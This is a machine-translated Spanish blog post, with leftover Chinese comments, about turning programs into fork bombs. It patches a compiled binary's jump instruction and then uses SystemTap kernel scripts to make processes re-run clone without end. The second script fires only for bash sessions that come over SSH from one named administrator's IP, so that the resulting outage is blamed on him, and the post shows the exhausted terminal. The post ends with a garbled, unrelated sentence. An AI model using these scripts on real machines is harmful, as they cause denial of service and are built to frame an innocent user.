Perdóname por no repetir la bomba de horquilla implementada por bash.
Veamos qué tan simple es hacer un programa ordinario que llame a fork internamente en una bomba fork. Mira el código primero:
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
if (fork() == 0) {
printf("I am child\n");
exit(0);
}
printf("I am parent\n");
return 0;
}
Compilar:
[root@localhost test]# gcc -O0 fbomb.c -o fbomb
Exporte y vea las instrucciones llamadas por fork:
[root@localhost test]# objdump -D ./fbomb >./fbomb.dump
[root@localhost test]# cat ./fbomb.dump |grep -B5 -A5 call.*fork
4005ad: 55 push %rbp
4005ae: 48 89 e5 mov %rsp,%rbp
4005b1: 48 83 ec 10 sub $0x10,%rsp
4005b5: 89 7d fc mov %edi,-0x4(%rbp)
4005b8: 48 89 75 f0 mov %rsi,-0x10(%rbp)
4005bc: e8 df fe ff ff callq 4004a0 <fork@plt>
4005c1: 85 c0 test %eax,%eax
4005c3: 75 14 jne 4005d9 <main+0x2c>
4005c5: bf 80 06 40 00 mov $0x400680,%edi
4005ca: e8 a1 fe ff ff callq 400470 <puts@plt>
4005cf: bf 00 00 00 00 mov $0x0,%edi
Tenga en cuenta que la llamada a la que apunta 4005bc es el paradigma idiomático de la llamada de bifurcación, es decir, para determinar si es 0 o no cero, por lo que nuestra modificación es muy simple:
- Cambie 4005c3 a JC (0x72) rel8 (desplazamiento s8): 0x72 0xf7 (es decir, -9)
De hecho, pocas bibliotecas C ahora llaman directamente a la llamada al sistema fork, y generalmente se usa clone.
Entonces la siguiente es la reforma:
# 用vim的xxd来修改二进制
[root@localhost test]# vim -b ./fbomb
...
./fbomb
:%!xxd
Según los resultados de objdump, busque la dirección cerca de 0005bc:
000005c0: ff85 c075(here) 14(and here)bf 8006 4000 e8a1 feff ffbf
Cámbielo a:
000005c0: ff85 c072(here) f7(and here)bf 8006 4000 e8a1 feff ffbf
Salvar:
...
./fbomb [+]
:%!xxd -r
Confirme y vea si la modificación es exitosa:
[root@localhost test]# cat ./fbomb.dump2 |grep -B3 -A3 call.*fork
4005b1: 48 83 ec 10 sub $0x10,%rsp
4005b5: 89 7d fc mov %edi,-0x4(%rbp)
4005b8: 48 89 75 f0 mov %rsi,-0x10(%rbp)
4005bc: e8 df fe ff ff callq 4004a0 <fork@plt>
4005c1: 85 c0 test %eax,%eax
4005c3: 72 f7 jb 4005bc <main+0xf>
4005c5: bf 80 06 40 00 mov $0x400680,%edi
De acuerdo, la modificación es exitosa, el programa se ha convertido en una bomba de horquilla. No lo demostraré aquí, esto no se puede demostrar.
Sigamos.
¿Puedes hacerlo con bash? por supuesto que puede!
[root@localhost test]# objdump -D /bin/bash >./bash.dump
[root@localhost test]# cat ./bash.dump |grep -A5 -B5 call.*fork
4415ea: 44 89 f7 mov %r14d,%edi
4415ed: e8 5e a4 fd ff callq 41ba50 <sleep@plt>
4415f2: 85 c0 test %eax,%eax
4415f4: 0f 85 06 01 00 00 jne 441700 <make_child@@Base+0x1f0>
4415fa: 45 01 f6 add %r14d,%r14d
4415fd: e8 7e a4 fd ff callq 41ba80 <fork@plt>
441602: 85 c0 test %eax,%eax
441604: 89 c3 mov %eax,%ebx
441606: 78 b8 js 4415c0 <make_child@@Base+0xb0>
441608: 0f 85 2b 01 00 00 jne 441739 <make_child@@Base+0x229>
44160e: 66 90 xchg %ax,%ax
Casi la misma rutina. Pero no podemos cambiar bash directamente, por lo que solo podemos usar systemtap para jugar con algunas estrategias en el kernel.
Bash no llama directamente a fork / clone, sino a través de la biblioteca C, así que veamos cómo lo hace la biblioteca C:
[root@localhost test]# objdump -D /lib64/libc.so.6 >./libc.dump
...
Los siguientes son los pasos para iniciar una llamada de clonación:
284431 00000000000fde40 <__clone>:
284432 fde40: 48 c7 c0 ea ff ff ff mov $0xffffffffffffffea,%rax
284433 fde47: 48 85 ff test %rdi,%rdi
284434 fde4a: 74 69 je fdeb5 <__clone+0x75>
284435 fde4c: 48 85 f6 test %rsi,%rsi
284436 fde4f: 74 64 je fdeb5 <__clone+0x75>
284437 fde51: 48 83 ee 10 sub $0x10,%rsi
284438 fde55: 48 89 4e 08 mov %rcx,0x8(%rsi)
284439 fde59: 48 89 3e mov %rdi,(%rsi)
284440 fde5c: 48 89 d7 mov %rdx,%rdi
284441 fde5f: 4c 89 c2 mov %r8,%rdx
284442 fde62: 4d 89 c8 mov %r9,%r8
284443 fde65: 4c 8b 54 24 08 mov 0x8(%rsp),%r10
284444 fde6a: b8 38 00 00 00 mov $0x38,%eax
284445 fde6f: 0f 05 syscall
Ya sabemos que hacer:
- Antes de que vuelva la llamada al sistema de clonación, basta con modificar la copia del proceso principal y secundario a la propia llamada del sistema de clonación, es decir, la dirección de copia retrocede 12 bytes o 28 bytes para alcanzar la posición inicial de los parámetros de preparación de la llamada de clonación.
Bien, aquí está el script de stap:
#!/usr/local/bin/stap -g
function do_it(p:long)
%{
struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
struct pt_regs *regs;
if (strcmp(tsk->comm, "fbomb"))
return;
regs = task_pt_regs(tsk);
regs->ip -= 12;
%}
// hook 资进程
probe kernel.function("copy_thread").return
{
do_it(@entry($p))
}
// hook 当前父进程
probe kernel.function("sys_clone").return
{
if ($return > 0)
do_it(task_current())
}
Bien, el marco básico está completo. Puedes probar mi programa binario original fbomb.
Ahora, agreguemos algunas estrategias:
- Solo el bash ssh de la máquina del administrador 192.168.56.101 funcionará cuando se ejecute el programa bash. ¡Entonces puedes culpar al gerente!
¿Recuerda el mecanismo de asociación entre las conexiones TCP y los procesos que escribí antes?
https://blog.csdn.net/dog250/article/details/108134813
Basándonos en él, podemos juzgar si el administrador está ejecutando bash.
Aquí está el código:
#!/usr/local/bin/stap -g
%{
#include <net/tcp.h>
#include <linux/fdtable.h>
static inline void ip2str(char *to, unsigned int from)
{
int size = snprintf(to, 16, "%pI4", &from);
to[size] = '\0';
}
%}
function do_it(p:long)
%{
struct task_struct *tsk = (struct task_struct *)STAP_ARG_p;
struct task_struct *parent;
struct file *file;
struct socket *sock;
struct sock *sk;
char raddr[16];
struct pt_regs *regs;
if (strcmp(tsk->comm, "bash"))
return;
parent = tsk->parent;
if (strcmp(parent->comm, "sshd"))
return;
file = parent->files->fdt->fd[3];// 一般都是3,为了节省代码篇幅,硬编码了!
sock = (struct socket *)file->private_data;
sk = sock->sk;
ip2str(raddr, inet_sk(sk)->inet_daddr);
if (strcmp(raddr, "192.168.56.101"))
return;
regs = task_pt_regs(tsk);
regs->ip -= 12;
%}
probe kernel.function("copy_thread").return
{
do_it(@entry($p))
}
probe kernel.function("sys_clone").return
{
if ($return > 0)
do_it(task_current())
}
Aquí está el efecto de bash en la máquina del administrador:
[root@localhost ~]# ls
# 回车已经没有了反应...
# 其它终端也没了反应,大家纷纷在说就是因为经理登录才这样子的...
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: No child processes
-bash: fork: retry: Resource temporarily unavailable
-bash: fork: retry: Resource temporarily unavailable
Bueno, sí, es el gerente.
Algunas personas dicen que puedo hacer esto porque tengo root. Dije que la mayoría de las personas no pueden hacerlo si están arraigadas. Si no me creen, inténtelo.
Que era una broma.
Los zapatos de cuero en Wenzhou, Zhejiang están mojados, por lo que no engordan con la lluvia.